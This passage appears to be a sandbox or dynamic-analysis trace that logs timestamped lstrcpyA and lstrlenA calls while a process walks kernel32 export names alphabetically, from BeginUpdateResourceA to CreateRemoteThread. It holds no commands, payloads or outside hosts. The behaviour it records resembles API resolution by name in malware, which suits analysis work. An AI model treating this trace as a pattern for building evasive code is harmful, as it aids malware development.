lpString1="BeginUpdateResourceA") returned="BeginUpdateResourceA" [0116.136] lstrlenA (lpString="BEGINUPDATERESOURCEA") returned 20 [0116.136] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BeginUpdateResourceW" | out: lpString1="BeginUpdateResourceW") returned="BeginUpdateResourceW" [0116.136] lstrlenA (lpString="BEGINUPDATERESOURCEW") returned 20 [0116.136] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BindIoCompletionCallback" | out: lpString1="BindIoCompletionCallback") returned="BindIoCompletionCallback" [0116.136] lstrlenA (lpString="BINDIOCOMPLETIONCALLBACK") returned 24 [0116.136] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BuildCommDCBA" | out: lpString1="BuildCommDCBA") returned="BuildCommDCBA" [0116.136] lstrlenA (lpString="BUILDCOMMDCBA") returned 13 [0116.136] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BuildCommDCBAndTimeoutsA" | out: lpString1="BuildCommDCBAndTimeoutsA") returned="BuildCommDCBAndTimeoutsA" [0116.136] lstrlenA (lpString="BUILDCOMMDCBANDTIMEOUTSA") returned 24 [0116.136] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BuildCommDCBAndTimeoutsW" | out: lpString1="BuildCommDCBAndTimeoutsW") returned="BuildCommDCBAndTimeoutsW" [0116.136] lstrlenA (lpString="BUILDCOMMDCBANDTIMEOUTSW") returned 24 [0116.136] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BuildCommDCBW" | out: lpString1="BuildCommDCBW") returned="BuildCommDCBW" [0116.136] lstrlenA (lpString="BUILDCOMMDCBW") returned 13 [0116.136] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CallNamedPipeA" | out: lpString1="CallNamedPipeA") returned="CallNamedPipeA" [0116.136] lstrlenA (lpString="CALLNAMEDPIPEA") returned 14 [0116.136] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CallNamedPipeW" | out: lpString1="CallNamedPipeW") returned="CallNamedPipeW" [0116.136] lstrlenA (lpString="CALLNAMEDPIPEW") returned 14 [0116.136] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CallbackMayRunLong" | out: lpString1="CallbackMayRunLong") returned="CallbackMayRunLong" [0116.136] lstrlenA (lpString="CALLBACKMAYRUNLONG") returned 18 [0116.136] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CancelDeviceWakeupRequest" | out: lpString1="CancelDeviceWakeupRequest") returned="CancelDeviceWakeupRequest" [0116.136] lstrlenA (lpString="CANCELDEVICEWAKEUPREQUEST") returned 25 [0116.136] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CancelIo" | out: lpString1="CancelIo") returned="CancelIo" [0116.136] lstrlenA (lpString="CANCELIO") returned 8 [0116.136] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CancelIoEx" | out: lpString1="CancelIoEx") returned="CancelIoEx" [0116.136] lstrlenA (lpString="CANCELIOEX") returned 10 [0116.136] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CancelSynchronousIo" | out: lpString1="CancelSynchronousIo") returned="CancelSynchronousIo" [0116.136] lstrlenA (lpString="CANCELSYNCHRONOUSIO") returned 19 [0116.137] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CancelThreadpoolIo" | out: lpString1="CancelThreadpoolIo") returned="CancelThreadpoolIo" [0116.137] lstrlenA (lpString="CANCELTHREADPOOLIO") returned 18 [0116.137] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CancelTimerQueueTimer" | out: lpString1="CancelTimerQueueTimer") returned="CancelTimerQueueTimer" [0116.137] lstrlenA (lpString="CANCELTIMERQUEUETIMER") returned 21 [0116.137] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CancelWaitableTimer" | out: lpString1="CancelWaitableTimer") returned="CancelWaitableTimer" [0116.137] lstrlenA (lpString="CANCELWAITABLETIMER") returned 19 [0116.137] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CeipIsOptedIn" | out: lpString1="CeipIsOptedIn") returned="CeipIsOptedIn" [0116.137] lstrlenA (lpString="CEIPISOPTEDIN") returned 13 [0116.137] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ChangeTimerQueueTimer" | out: lpString1="ChangeTimerQueueTimer") returned="ChangeTimerQueueTimer" [0116.137] lstrlenA (lpString="CHANGETIMERQUEUETIMER") returned 21 [0116.137] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckAllowDecryptedRemoteDestinationPolicy" | out: lpString1="CheckAllowDecryptedRemoteDestinationPolicy") returned="CheckAllowDecryptedRemoteDestinationPolicy" [0116.137] lstrlenA (lpString="CHECKALLOWDECRYPTEDREMOTEDESTINATIONPOLICY") returned 42 [0116.137] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckElevation" | out: lpString1="CheckElevation") returned="CheckElevation" [0116.137] lstrlenA (lpString="CHECKELEVATION") returned 14 [0116.138] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckElevationEnabled" | out: lpString1="CheckElevationEnabled") returned="CheckElevationEnabled" [0116.138] lstrlenA (lpString="CHECKELEVATIONENABLED") returned 21 [0116.138] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckForReadOnlyResource" | out: lpString1="CheckForReadOnlyResource") returned="CheckForReadOnlyResource" [0116.138] lstrlenA (lpString="CHECKFORREADONLYRESOURCE") returned 24 [0116.138] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckForReadOnlyResourceFilter" | out: lpString1="CheckForReadOnlyResourceFilter") returned="CheckForReadOnlyResourceFilter" [0116.138] lstrlenA (lpString="CHECKFORREADONLYRESOURCEFILTER") returned 30 [0116.138] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckNameLegalDOS8Dot3A" | out: lpString1="CheckNameLegalDOS8Dot3A") returned="CheckNameLegalDOS8Dot3A" [0116.138] lstrlenA (lpString="CHECKNAMELEGALDOS8DOT3A") returned 23 [0116.138] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckNameLegalDOS8Dot3W" | out: lpString1="CheckNameLegalDOS8Dot3W") returned="CheckNameLegalDOS8Dot3W" [0116.138] lstrlenA (lpString="CHECKNAMELEGALDOS8DOT3W") returned 23 [0116.138] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckRemoteDebuggerPresent" | out: lpString1="CheckRemoteDebuggerPresent") returned="CheckRemoteDebuggerPresent" [0116.138] lstrlenA (lpString="CHECKREMOTEDEBUGGERPRESENT") returned 26 [0116.138] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckTokenCapability" | out: lpString1="CheckTokenCapability") returned="CheckTokenCapability" [0116.138] lstrlenA (lpString="CHECKTOKENCAPABILITY") returned 20 [0116.138] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckTokenMembershipEx" | out: lpString1="CheckTokenMembershipEx") returned="CheckTokenMembershipEx" [0116.138] lstrlenA (lpString="CHECKTOKENMEMBERSHIPEX") returned 22 [0116.138] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ClearCommBreak" | out: lpString1="ClearCommBreak") returned="ClearCommBreak" [0116.138] lstrlenA (lpString="CLEARCOMMBREAK") returned 14 [0116.138] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ClearCommError" | out: lpString1="ClearCommError") returned="ClearCommError" [0116.138] lstrlenA (lpString="CLEARCOMMERROR") returned 14 [0116.138] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseConsoleHandle" | out: lpString1="CloseConsoleHandle") returned="CloseConsoleHandle" [0116.138] lstrlenA (lpString="CLOSECONSOLEHANDLE") returned 18 [0116.138] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseHandle" | out: lpString1="CloseHandle") returned="CloseHandle" [0116.138] lstrlenA (lpString="CLOSEHANDLE") returned 11 [0116.139] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ClosePackageInfo" | out: lpString1="ClosePackageInfo") returned="ClosePackageInfo" [0116.139] lstrlenA (lpString="CLOSEPACKAGEINFO") returned 16 [0116.139] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ClosePrivateNamespace" | out: lpString1="ClosePrivateNamespace") returned="ClosePrivateNamespace" [0116.139] lstrlenA (lpString="CLOSEPRIVATENAMESPACE") returned 21 [0116.139] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseProfileUserMapping" | out: lpString1="CloseProfileUserMapping") returned="CloseProfileUserMapping" [0116.139] lstrlenA (lpString="CLOSEPROFILEUSERMAPPING") returned 23 [0116.139] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseState" | out: lpString1="CloseState") returned="CloseState" [0116.139] lstrlenA (lpString="CLOSESTATE") returned 10 [0116.139] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseThreadpool" | out: lpString1="CloseThreadpool") returned="CloseThreadpool" [0116.139] lstrlenA (lpString="CLOSETHREADPOOL") returned 15 [0116.139] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseThreadpoolCleanupGroup" | out: lpString1="CloseThreadpoolCleanupGroup") returned="CloseThreadpoolCleanupGroup" [0116.139] lstrlenA (lpString="CLOSETHREADPOOLCLEANUPGROUP") returned 27 [0116.139] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseThreadpoolCleanupGroupMembers" | out: lpString1="CloseThreadpoolCleanupGroupMembers") returned="CloseThreadpoolCleanupGroupMembers" [0116.139] lstrlenA (lpString="CLOSETHREADPOOLCLEANUPGROUPMEMBERS") returned 34 [0116.139] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseThreadpoolIo" | out: lpString1="CloseThreadpoolIo") returned="CloseThreadpoolIo" [0116.139] lstrlenA (lpString="CLOSETHREADPOOLIO") returned 17 [0116.139] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseThreadpoolTimer" | out: lpString1="CloseThreadpoolTimer") returned="CloseThreadpoolTimer" [0116.139] lstrlenA (lpString="CLOSETHREADPOOLTIMER") returned 20 [0116.139] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseThreadpoolWait" | out: lpString1="CloseThreadpoolWait") returned="CloseThreadpoolWait" [0116.139] lstrlenA (lpString="CLOSETHREADPOOLWAIT") returned 19 [0116.139] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseThreadpoolWork" | out: lpString1="CloseThreadpoolWork") returned="CloseThreadpoolWork" [0116.139] lstrlenA (lpString="CLOSETHREADPOOLWORK") returned 19 [0116.139] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CmdBatNotification" | out: lpString1="CmdBatNotification") returned="CmdBatNotification" [0116.139] lstrlenA (lpString="CMDBATNOTIFICATION") returned 18 [0116.139] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CommConfigDialogA" | out: lpString1="CommConfigDialogA") returned="CommConfigDialogA" [0116.139] lstrlenA (lpString="COMMCONFIGDIALOGA") returned 17 [0116.139] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CommConfigDialogW" | out: lpString1="CommConfigDialogW") returned="CommConfigDialogW" [0116.139] lstrlenA (lpString="COMMCONFIGDIALOGW") returned 17 [0116.139] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CompareCalendarDates" | out: lpString1="CompareCalendarDates") returned="CompareCalendarDates" [0116.139] lstrlenA (lpString="COMPARECALENDARDATES") returned 20 [0116.139] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CompareFileTime" | out: lpString1="CompareFileTime") returned="CompareFileTime" [0116.140] lstrlenA (lpString="COMPAREFILETIME") returned 15 [0116.140] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CompareStringA" | out: lpString1="CompareStringA") returned="CompareStringA" [0116.140] lstrlenA (lpString="COMPARESTRINGA") returned 14 [0116.140] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CompareStringEx" | out: lpString1="CompareStringEx") returned="CompareStringEx" [0116.140] lstrlenA (lpString="COMPARESTRINGEX") returned 15 [0116.140] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CompareStringOrdinal" | out: lpString1="CompareStringOrdinal") returned="CompareStringOrdinal" [0116.140] lstrlenA (lpString="COMPARESTRINGORDINAL") returned 20 [0116.140] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CompareStringW" | out: lpString1="CompareStringW") returned="CompareStringW" [0116.140] lstrlenA (lpString="COMPARESTRINGW") returned 14 [0116.140] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ConnectNamedPipe" | out: lpString1="ConnectNamedPipe") returned="ConnectNamedPipe" [0116.140] lstrlenA (lpString="CONNECTNAMEDPIPE") returned 16 [0116.140] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ConsoleMenuControl" | out: lpString1="ConsoleMenuControl") returned="ConsoleMenuControl" [0116.140] lstrlenA (lpString="CONSOLEMENUCONTROL") returned 18 [0116.140] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ContinueDebugEvent" | out: lpString1="ContinueDebugEvent") returned="ContinueDebugEvent" [0116.140] lstrlenA (lpString="CONTINUEDEBUGEVENT") returned 18 [0116.140] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ConvertCalDateTimeToSystemTime" | out: lpString1="ConvertCalDateTimeToSystemTime") returned="ConvertCalDateTimeToSystemTime" [0116.140] lstrlenA (lpString="CONVERTCALDATETIMETOSYSTEMTIME") returned 30 [0116.140] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ConvertDefaultLocale" | out: lpString1="ConvertDefaultLocale") returned="ConvertDefaultLocale" [0116.140] lstrlenA (lpString="CONVERTDEFAULTLOCALE") returned 20 [0116.140] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ConvertFiberToThread" | out: lpString1="ConvertFiberToThread") returned="ConvertFiberToThread" [0116.140] lstrlenA (lpString="CONVERTFIBERTOTHREAD") returned 20 [0116.140] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ConvertNLSDayOfWeekToWin32DayOfWeek" | out: lpString1="ConvertNLSDayOfWeekToWin32DayOfWeek") returned="ConvertNLSDayOfWeekToWin32DayOfWeek" [0116.140] lstrlenA (lpString="CONVERTNLSDAYOFWEEKTOWIN32DAYOFWEEK") returned 35 [0116.140] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ConvertSystemTimeToCalDateTime" | out: lpString1="ConvertSystemTimeToCalDateTime") returned="ConvertSystemTimeToCalDateTime" [0116.140] lstrlenA (lpString="CONVERTSYSTEMTIMETOCALDATETIME") returned 30 [0116.140] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ConvertThreadToFiber" | out: lpString1="ConvertThreadToFiber") returned="ConvertThreadToFiber" [0116.140] lstrlenA (lpString="CONVERTTHREADTOFIBER") returned 20 [0116.140] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ConvertThreadToFiberEx" | out: lpString1="ConvertThreadToFiberEx") returned="ConvertThreadToFiberEx" [0116.140] lstrlenA (lpString="CONVERTTHREADTOFIBEREX") returned 22 [0116.140] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CopyContext" | out: lpString1="CopyContext") returned="CopyContext" [0116.141] lstrlenA (lpString="COPYCONTEXT") returned 11 [0116.141] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CopyFile2" | out: lpString1="CopyFile2") returned="CopyFile2" [0116.141] lstrlenA (lpString="COPYFILE2") returned 9 [0116.141] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CopyFileA" | out: lpString1="CopyFileA") returned="CopyFileA" [0116.141] lstrlenA (lpString="COPYFILEA") returned 9 [0116.141] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CopyFileExA" | out: lpString1="CopyFileExA") returned="CopyFileExA" [0116.141] lstrlenA (lpString="COPYFILEEXA") returned 11 [0116.141] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CopyFileExW" | out: lpString1="CopyFileExW") returned="CopyFileExW" [0116.141] lstrlenA (lpString="COPYFILEEXW") returned 11 [0116.141] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CopyFileTransactedA" | out: lpString1="CopyFileTransactedA") returned="CopyFileTransactedA" [0116.141] lstrlenA (lpString="COPYFILETRANSACTEDA") returned 19 [0116.141] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CopyFileTransactedW" | out: lpString1="CopyFileTransactedW") returned="CopyFileTransactedW" [0116.141] lstrlenA (lpString="COPYFILETRANSACTEDW") returned 19 [0116.141] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CopyFileW" | out: lpString1="CopyFileW") returned="CopyFileW" [0116.141] lstrlenA (lpString="COPYFILEW") returned 9 [0116.141] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CopyLZFile" | out: lpString1="CopyLZFile") returned="CopyLZFile" [0116.141] lstrlenA (lpString="COPYLZFILE") returned 10 [0116.141] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateActCtxA" | out: lpString1="CreateActCtxA") returned="CreateActCtxA" [0116.141] lstrlenA (lpString="CREATEACTCTXA") returned 13 [0116.141] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateActCtxW" | out: lpString1="CreateActCtxW") returned="CreateActCtxW" [0116.141] lstrlenA (lpString="CREATEACTCTXW") returned 13 [0116.141] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateActCtxWWorker" | out: lpString1="CreateActCtxWWorker") returned="CreateActCtxWWorker" [0116.141] lstrlenA (lpString="CREATEACTCTXWWORKER") returned 19 [0116.141] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateBoundaryDescriptorA" | out: lpString1="CreateBoundaryDescriptorA") returned="CreateBoundaryDescriptorA" [0116.141] lstrlenA (lpString="CREATEBOUNDARYDESCRIPTORA") returned 25 [0116.141] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateBoundaryDescriptorW" | out: lpString1="CreateBoundaryDescriptorW") returned="CreateBoundaryDescriptorW" [0116.141] lstrlenA (lpString="CREATEBOUNDARYDESCRIPTORW") returned 25 [0116.141] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateConsoleScreenBuffer" | out: lpString1="CreateConsoleScreenBuffer") returned="CreateConsoleScreenBuffer" [0116.145] lstrlenA (lpString="CREATECONSOLESCREENBUFFER") returned 25 [0116.145] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateDirectoryA" | out: lpString1="CreateDirectoryA") returned="CreateDirectoryA" [0116.145] lstrlenA (lpString="CREATEDIRECTORYA") returned 16 [0116.146] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateDirectoryExA" | out: lpString1="CreateDirectoryExA") returned="CreateDirectoryExA" [0116.146] lstrlenA (lpString="CREATEDIRECTORYEXA") returned 18 [0116.146] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateDirectoryExW" | out: lpString1="CreateDirectoryExW") returned="CreateDirectoryExW" [0116.146] lstrlenA (lpString="CREATEDIRECTORYEXW") returned 18 [0116.146] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateDirectoryTransactedA" | out: lpString1="CreateDirectoryTransactedA") returned="CreateDirectoryTransactedA" [0116.146] lstrlenA (lpString="CREATEDIRECTORYTRANSACTEDA") returned 26 [0116.146] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateDirectoryTransactedW" | out: lpString1="CreateDirectoryTransactedW") returned="CreateDirectoryTransactedW" [0116.146] lstrlenA (lpString="CREATEDIRECTORYTRANSACTEDW") returned 26 [0116.146] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateDirectoryW" | out: lpString1="CreateDirectoryW") returned="CreateDirectoryW" [0116.146] lstrlenA (lpString="CREATEDIRECTORYW") returned 16 [0116.146] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateEnclave" | out: lpString1="CreateEnclave") returned="CreateEnclave" [0116.146] lstrlenA (lpString="CREATEENCLAVE") returned 13 [0116.146] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateEventA" | out: lpString1="CreateEventA") returned="CreateEventA" [0116.146] lstrlenA (lpString="CREATEEVENTA") returned 12 [0116.146] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateEventExA" | out: lpString1="CreateEventExA") returned="CreateEventExA" [0116.146] lstrlenA (lpString="CREATEEVENTEXA") returned 14 [0116.146] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateEventExW" | out: lpString1="CreateEventExW") returned="CreateEventExW" [0116.146] lstrlenA (lpString="CREATEEVENTEXW") returned 14 [0116.146] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateEventW" | out: lpString1="CreateEventW") returned="CreateEventW" [0116.146] lstrlenA (lpString="CREATEEVENTW") returned 12 [0116.146] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFiber" | out: lpString1="CreateFiber") returned="CreateFiber" [0116.146] lstrlenA (lpString="CREATEFIBER") returned 11 [0116.146] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFiberEx" | out: lpString1="CreateFiberEx") returned="CreateFiberEx" [0116.146] lstrlenA (lpString="CREATEFIBEREX") returned 13 [0116.146] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFile2" | out: lpString1="CreateFile2") returned="CreateFile2" [0116.146] lstrlenA (lpString="CREATEFILE2") returned 11 [0116.146] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFileA" | out: lpString1="CreateFileA") returned="CreateFileA" [0116.146] lstrlenA (lpString="CREATEFILEA") returned 11 [0116.146] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFileMappingA" | out: lpString1="CreateFileMappingA") returned="CreateFileMappingA" [0116.146] lstrlenA (lpString="CREATEFILEMAPPINGA") returned 18 [0116.146] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFileMappingFromApp" | out: lpString1="CreateFileMappingFromApp") returned="CreateFileMappingFromApp" [0116.147] lstrlenA (lpString="CREATEFILEMAPPINGFROMAPP") returned 24 [0116.147] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFileMappingNumaA" | out: lpString1="CreateFileMappingNumaA") returned="CreateFileMappingNumaA" [0116.147] lstrlenA (lpString="CREATEFILEMAPPINGNUMAA") returned 22 [0116.147] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFileMappingNumaW" | out: lpString1="CreateFileMappingNumaW") returned="CreateFileMappingNumaW" [0116.147] lstrlenA (lpString="CREATEFILEMAPPINGNUMAW") returned 22 [0116.147] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFileMappingW" | out: lpString1="CreateFileMappingW") returned="CreateFileMappingW" [0116.147] lstrlenA (lpString="CREATEFILEMAPPINGW") returned 18 [0116.147] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFileTransactedA" | out: lpString1="CreateFileTransactedA") returned="CreateFileTransactedA" [0116.147] lstrlenA (lpString="CREATEFILETRANSACTEDA") returned 21 [0116.147] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFileTransactedW" | out: lpString1="CreateFileTransactedW") returned="CreateFileTransactedW" [0116.147] lstrlenA (lpString="CREATEFILETRANSACTEDW") returned 21 [0116.147] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFileW" | out: lpString1="CreateFileW") returned="CreateFileW" [0116.147] lstrlenA (lpString="CREATEFILEW") returned 11 [0116.147] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateHardLinkA" | out: lpString1="CreateHardLinkA") returned="CreateHardLinkA" [0116.147] lstrlenA (lpString="CREATEHARDLINKA") returned 15 [0116.147] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateHardLinkTransactedA" | out: lpString1="CreateHardLinkTransactedA") returned="CreateHardLinkTransactedA" [0116.147] lstrlenA (lpString="CREATEHARDLINKTRANSACTEDA") returned 25 [0116.147] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateHardLinkTransactedW" | out: lpString1="CreateHardLinkTransactedW") returned="CreateHardLinkTransactedW" [0116.147] lstrlenA (lpString="CREATEHARDLINKTRANSACTEDW") returned 25 [0116.147] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateHardLinkW" | out: lpString1="CreateHardLinkW") returned="CreateHardLinkW" [0116.147] lstrlenA (lpString="CREATEHARDLINKW") returned 15 [0116.147] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateIoCompletionPort" | out: lpString1="CreateIoCompletionPort") returned="CreateIoCompletionPort" [0116.147] lstrlenA (lpString="CREATEIOCOMPLETIONPORT") returned 22 [0116.147] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateJobObjectA" | out: lpString1="CreateJobObjectA") returned="CreateJobObjectA" [0116.147] lstrlenA (lpString="CREATEJOBOBJECTA") returned 16 [0116.147] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateJobObjectW" | out: lpString1="CreateJobObjectW") returned="CreateJobObjectW" [0116.147] lstrlenA (lpString="CREATEJOBOBJECTW") returned 16 [0116.147] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateJobSet" | out: lpString1="CreateJobSet") returned="CreateJobSet" [0116.147] lstrlenA (lpString="CREATEJOBSET") returned 12 [0116.147] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateMailslotA" | out: lpString1="CreateMailslotA") returned="CreateMailslotA" [0116.147] lstrlenA (lpString="CREATEMAILSLOTA") returned 15 [0116.148] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateMailslotW" | out: lpString1="CreateMailslotW") returned="CreateMailslotW" [0116.148] lstrlenA (lpString="CREATEMAILSLOTW") returned 15 [0116.148] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateMemoryResourceNotification" | out: lpString1="CreateMemoryResourceNotification") returned="CreateMemoryResourceNotification" [0116.148] lstrlenA (lpString="CREATEMEMORYRESOURCENOTIFICATION") returned 32 [0116.148] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateMutexA" | out: lpString1="CreateMutexA") returned="CreateMutexA" [0116.148] lstrlenA (lpString="CREATEMUTEXA") returned 12 [0116.148] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateMutexExA" | out: lpString1="CreateMutexExA") returned="CreateMutexExA" [0116.148] lstrlenA (lpString="CREATEMUTEXEXA") returned 14 [0116.148] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateMutexExW" | out: lpString1="CreateMutexExW") returned="CreateMutexExW" [0116.148] lstrlenA (lpString="CREATEMUTEXEXW") returned 14 [0116.148] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateMutexW" | out: lpString1="CreateMutexW") returned="CreateMutexW" [0116.148] lstrlenA (lpString="CREATEMUTEXW") returned 12 [0116.148] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateNamedPipeA" | out: lpString1="CreateNamedPipeA") returned="CreateNamedPipeA" [0116.148] lstrlenA (lpString="CREATENAMEDPIPEA") returned 16 [0116.148] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateNamedPipeW" | out: lpString1="CreateNamedPipeW") returned="CreateNamedPipeW" [0116.148] lstrlenA (lpString="CREATENAMEDPIPEW") returned 16 [0116.148] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreatePipe" | out: lpString1="CreatePipe") returned="CreatePipe" [0116.148] lstrlenA (lpString="CREATEPIPE") returned 10 [0116.148] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreatePrivateNamespaceA" | out: lpString1="CreatePrivateNamespaceA") returned="CreatePrivateNamespaceA" [0116.148] lstrlenA (lpString="CREATEPRIVATENAMESPACEA") returned 23 [0116.148] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreatePrivateNamespaceW" | out: lpString1="CreatePrivateNamespaceW") returned="CreatePrivateNamespaceW" [0116.148] lstrlenA (lpString="CREATEPRIVATENAMESPACEW") returned 23 [0116.148] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateProcessA" | out: lpString1="CreateProcessA") returned="CreateProcessA" [0116.148] lstrlenA (lpString="CREATEPROCESSA") returned 14 [0116.148] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateProcessAsUserA" | out: lpString1="CreateProcessAsUserA") returned="CreateProcessAsUserA" [0116.148] lstrlenA (lpString="CREATEPROCESSASUSERA") returned 20 [0116.148] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateProcessAsUserW" | out: lpString1="CreateProcessAsUserW") returned="CreateProcessAsUserW" [0116.148] lstrlenA (lpString="CREATEPROCESSASUSERW") returned 20 [0116.148] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateProcessInternalA" | out: lpString1="CreateProcessInternalA") returned="CreateProcessInternalA" [0116.148] lstrlenA (lpString="CREATEPROCESSINTERNALA") returned 22 [0116.148] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateProcessInternalW" | out: lpString1="CreateProcessInternalW") returned="CreateProcessInternalW" [0116.149] lstrlenA (lpString="CREATEPROCESSINTERNALW") returned 22 [0116.149] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateProcessW" | out: lpString1="CreateProcessW") returned="CreateProcessW" [0116.149] lstrlenA (lpString="CREATEPROCESSW") returned 14 [0116.149] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateRemoteThread" | out: lpString1="CreateRemoteThread") returned="CreateRemoteThread" [0116.149] lstrlenA (lpString="CREATEREMOTETHREAD") returned 18 [0116.149] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateRemoteThreadEx" | out: lpString1="CreateRemoteThreadEx") returned="CreateRemoteThreadEx" [0116.149] lstrlenA (lpString="CREATEREMOTETHREADEX") returned 20 [0116.149] lstrcpyA 